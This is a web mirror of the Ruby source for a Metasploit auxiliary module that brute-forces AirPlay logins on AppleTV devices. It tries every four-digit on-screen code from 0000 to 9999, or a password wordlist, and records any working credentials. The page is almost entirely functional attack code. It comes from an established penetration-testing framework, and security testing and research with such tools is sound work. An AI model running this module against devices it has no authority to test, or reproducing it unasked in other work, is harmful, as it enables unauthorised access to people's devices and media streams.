CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/appletv_login.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasploit/framework/credential_collection'
7
require 'metasploit/framework/login_scanner/http'
8
9
class MetasploitModule < Msf::Auxiliary
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Auxiliary::Report
12
include Msf::Auxiliary::AuthBrute
13
include Msf::Auxiliary::Scanner
14
15
def initialize
16
super(
17
'Name' => 'AppleTV AirPlay Login Utility',
18
'Description' => %q(
19
This module attempts to authenticate to an AppleTV service with
20
the username, 'AirPlay'. The device has two different access control
21
modes: OnScreen and Password. The difference between the two is the
22
password in OnScreen mode is numeric-only and four digits long, which
23
means when this option is enabled, this option, the module will make
24
sure to cover all of them - from 0000 to 9999. The Password mode is
25
more complex, therefore the usual online bruteforce strategies apply.
26
),
27
'Author' =>
28
[
29
'0a29406d9794e4f9b30b3c5d6702c708', # Original
30
'thelightcosine' # LoginScanner conversion help
31
],
32
'License' => MSF_LICENSE,
33
'References' =>
34
[
35
['URL', 'http://nto.github.io/AirPlay.html']
36
],
37
'DefaultOptions' => {
38
'RPORT' => 7000, # AppleTV's server
39
'STOP_ON_SUCCESS' => true # There's only one password with the same username
40
}
41
)
42
43
register_options(
44
[
45
OptBool.new('Onscreen', [false, 'Enable if AppleTV is using the Onscreen access control', false]),
46
OptPath.new('PASS_FILE', [
47
false,
48
'File containing passwords, one per line',
49
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')
50
]
51
)])
52
53
deregister_options(
54
'USERNAME', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS', 'DB_SKIP_EXISTING',
55
'NTLM::SendLM', 'NTLM::SendNTLM', 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2',
56
'REMOVE_USERPASS_FILE', 'REMOVE_USER_FILE', 'DOMAIN', 'HttpUsername'
57
)
58
end
59
60
def run_host(ip)
61
uri = "/stop"
62
if datastore['PASS_FILE'] && !datastore['PASS_FILE'].empty?
63
print_status("Attempting to login to #{uri} using password list")
64
cred_collection = Metasploit::Framework::CredentialCollection.new(
65
blank_passwords: datastore['BLANK_PASSWORDS'],
66
pass_file: datastore['PASS_FILE'],
67
username: 'AirPlay',
68
user_as_pass: datastore['USER_AS_PASS'],
69
)
70
cred_collection = prepend_db_passwords(cred_collection)
71
else
72
print_status("Attempting to login to #{uri} by 'Onscreen Code'")
73
cred_collection = LockCodeCollection.new
74
end
75
76
scanner = Metasploit::Framework::LoginScanner::HTTP.new(
77
configure_http_login_scanner(
78
uri: "/stop",
79
cred_details: cred_collection,
80
stop_on_success: datastore['STOP_ON_SUCCESS'],
81
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
82
connection_timeout: 5,
83
)
84
)
85
86
scanner.scan! do |result|
87
credential_data = result.to_h
88
credential_data.merge!(
89
module_fullname: self.fullname,
90
workspace_id: myworkspace_id,
91
service_name: 'airplay'
92
)
93
case result.status
94
when Metasploit::Model::Login::Status::SUCCESSFUL
95
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
96
credential_core = create_credential(credential_data)
97
credential_data[:core] = credential_core
98
create_credential_login(credential_data)
99
:next_user
100
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
101
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
102
invalidate_login(credential_data)
103
:abort
104
when Metasploit::Model::Login::Status::INCORRECT
105
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
106
invalidate_login(credential_data)
107
when Metasploit::Model::Login::Status::NO_AUTH_REQUIRED
108
print_brute :level => :error, :ip => ip, :msg => "NO AUTH REQUIRED: '#{result.credential}'"
109
break
110
end
111
end
112
end
113
114
# This class is just a faster way of doing our LockCode enumeration. We could just stick this into
115
# a CredentialCollection, but since we have a pre-set range we iterate through, it is easier to do it
116
# at runtime.
117
class LockCodeCollection
118
119
def each
120
(0..9999).each do |pass|
121
screen_code = Metasploit::Framework::Credential.new(public: 'AirPlay', private: pass.to_s.rjust(4, '0'), realm: nil, private_type: :password )
122
yield screen_code
123
end
124
end
125
end
126
end
127
128